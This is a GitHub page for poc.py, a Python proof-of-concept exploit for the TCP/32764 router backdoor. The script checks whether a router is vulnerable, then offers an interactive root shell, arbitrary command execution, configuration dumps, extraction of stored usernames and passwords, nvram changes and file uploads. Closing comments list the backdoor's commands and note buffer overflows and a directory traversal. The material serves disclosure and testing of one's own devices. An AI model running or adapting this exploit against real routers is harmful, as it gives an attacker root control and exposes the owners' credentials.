forked from elvanderb/TCP-32764
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpoc.py
executable file
·195 lines (179 loc) · 6.74 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#!/usr/bin/env python
import socket
import struct
import sys
import argparse
import re
parser = argparse.ArgumentParser(description='PoC for the TCP/32764 backdoor.\n'\
'see https://github.com/elvanderb/TCP-32764 for more details')
parser.add_argument('--ip', type=str, nargs='?', help='routers IP', default='192.168.1.1')
parser.add_argument('--port', type=int, nargs='?', help='port to use', default=32764)
command_group = parser.add_mutually_exclusive_group()
command_group.add_argument('--is_vuln', help='tells you if the router is vulnerable or not (default)', action="store_true")
command_group.add_argument('--shell', help='gives you a root shell on the router', action="store_true")
command_group.add_argument('--execute', type=str, nargs='?', help='run a command and dump straight to stdout', default='')
command_group.add_argument('--print_conf', help='pretty print router\'s configuration', action="store_true")
command_group.add_argument('--get_credentials', help='gets credentials', action="store_true")
command_group.add_argument('--get_var', type=str, nargs='?', metavar='var_name', help='get router\'s configuration variable')
command_group.add_argument('--set_var', type=str, nargs='?', metavar='var_name=val', help='set router\'s configuration variable')
command_group.add_argument('--message', type=int, nargs='?', help='message to send', choices=range(1, 14))
command_group.add_argument('--send_file', type=str, nargs='?', help='file to send')
command_group.add_argument('--send_file2', type=str, nargs='?', help='file to send, using echo -n -e')
parser.add_argument('--payload', type=str, nargs='?', help='message\'s payload', default='')
parser.add_argument('--timeout', type=int, nargs='?', help='connexion timeout in seconds', default=1)
parser.add_argument('--remote-filename', type=str, nargs='?', help='remote filename in /tmp when copying', default="upload")
args = parser.parse_args()
def send_message(s, endianness, message, payload=''):
header = struct.pack(endianness + 'III', 0x53634D4D, message, len(payload)+1)
s.send(header+payload+"\x00")
r = s.recv(0xC)
while len(r) < 0xC:
tmp = s.recv(0xC - len(r))
assert len(tmp) != 0
r += tmp
sig, ret_val, ret_len = struct.unpack(endianness + 'III', r)
assert(sig == 0x53634D4D)
if ret_val != 0:
return ret_val, "ERROR"
ret_str = ""
while len(ret_str) < ret_len:
tmp = s.recv(ret_len - len(ret_str))
assert len(tmp) != 0
ret_str += tmp
return ret_val, ret_str
# Big endian or little endian ?
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(args.timeout)
try :
s.connect((args.ip, args.port))
except socket.error as v:
print("probably not vulnerable (error: {0:s})".format(v))
sys.exit(0)
s.send("blablablabla")
r = s.recv(0xC)
while len(r) < 0xC:
tmp = s.recv(0xC - len(r))
assert len(tmp) != 0
r += tmp
sig, ret_val, ret_len = struct.unpack('<III', r)
if sig == 0x53634D4D :
endianness = "<"
elif sig == 0x4D4D6353 :
endianness = ">"
else :
print("probably not vulnerable")
sys.exit(0)
s.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(args.timeout)
s.connect((args.ip, args.port))
if args.is_vuln :
print("{0:s}:{1:d} is vulnerable!".format(args.ip, args.port))
elif args.shell :
print(send_message(s, endianness, 7, 'echo "welcome, here is a root shell, have fun"')[1])
while 1 :
print(send_message(s, endianness, 7, sys.stdin.readline().strip('\n'))[1])
elif len(args.execute) :
sys.stdout.write(send_message(s, endianness, 7, args.execute)[1])
elif args.print_conf :
conf = send_message(s, endianness, 1)[1]
conf = conf.replace("\x00", "\n")
conf = conf.replace("\x01", "\n\t")
print(conf)
elif args.get_credentials :
conf = send_message(s, endianness, 1)[1]
lines = re.split("\x00|\x01", conf)
pattern = re.compile('user(name)?|password|login');
credentials = []
for line in lines:
try:
(var, value) = line.split("=")
if len(value)>0 and pattern.search(var):
credentials += [[var, value]]
except ValueError:
pass
credentials.sort()
for var, value in credentials:
print("{}:{}".format(var, value))
elif args.send_file:
with open(args.send_file, "r") as f:
buf = f.read()
msg = args.remote_filename + "\0" + buf
send_message(s, endianness, 8, msg);
elif args.send_file2:
CHUNK = 1024
fdst = "/tmp/" + args.remote_filename
send_message(s, endianness, 7, "rm " + fdst)
with open(args.send_file2, "rb") as f:
while True:
buf = f.read(CHUNK)
if len(buf) == 0:
break
cmd = 'echo -n -e "' + ''.join(map(lambda c: "\\x{:02x}".format(ord(c)), buf))+'"'
cmd += ' >>' + fdst
try:
send_message(s, endianness, 7, cmd)
except socket.timeout:
print("Timeout, reconnect...")
s.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(args.timeout)
s.connect((args.ip, args.port))
# Get current size
ls = send_message(s, endianness, 7, "ls -l " + fdst)
size = int(re.split('[ \t]+', ls)[4])
# Let's start from here
print("Seek from %d..." % size)
f.seek(size)
elif args.get_var is not None :
response = send_message(s, endianness, 2, args.get_var)[1].rstrip("\x00")
if len(response) == 0 :
print("{0:s} is not set".format(args.get_var))
else :
print(response)
elif args.set_var is not None :
r, _ = send_message(s, endianness, 3, args.set_var)
elif args.message is not None :
r, response = send_message(s, endianness, args.message, args.payload)
if r != 0 :
print("Command failed, error code: {0:08X}".format(r))
elif len(response) != 0 :
print("Command succeed:")
print(response.encode("string_escape"))
else :
print("Command succeed:")
else :
print("{0:s}:{1:d} is vulnerable!".format(args.ip, args.port))
s.close()
# Gives the login/pass of your router. Works for Linux for sure.
# python poc.py --get_credentials --ip $(ip route|grep -Eo 'default via ([0-9.]+)'|sed 's/default via //')
#commands :
# 1 : get infos
# 2 : get var -> possible overflow
# 3 : set var -> buffer overflow
# 4 : commit nvram (read nvram /dev/mtdblock/3 from /tmp/nvram and check CRC)
# 5 : bridge mode ?
# wan_mode=bridgedonly
# wan_encap=0
# wan_vpi=8
# wan_vci=81
# /usr/bin/killall br2684ctl
# /usr/bin/killall udhcpd
# /usr/bin/killall -9 atm_monitor
# /usr/sbin/rc wan stop >/dev/null 2>&1
# /usr/sbin/atm_monitor&
# 6 : show speed
# 7 : cmd
# special commands :
# exit, bye, quit -> quit... (set alive to 0)
# cd : change directory (a little bit WTF)
# other commands :
# integer overflow in stdout handling (?) not exploitable but still ...
# buffer overflow (buffer de 0x10000)
#
# 8 : write file (file name in payload, dir : tmp, directory traversa)
# 9 : print version
#10 : print modem router ip (nvram_get(lan_ipaddr))
#11 : resaure default settings (nvram_set(restore_default, 1) / nvram_commit)
#12 : read /dev/mtdblock/0 [-4:-2]
#13 : dump nvram on disk (/tmp/nvram) and commit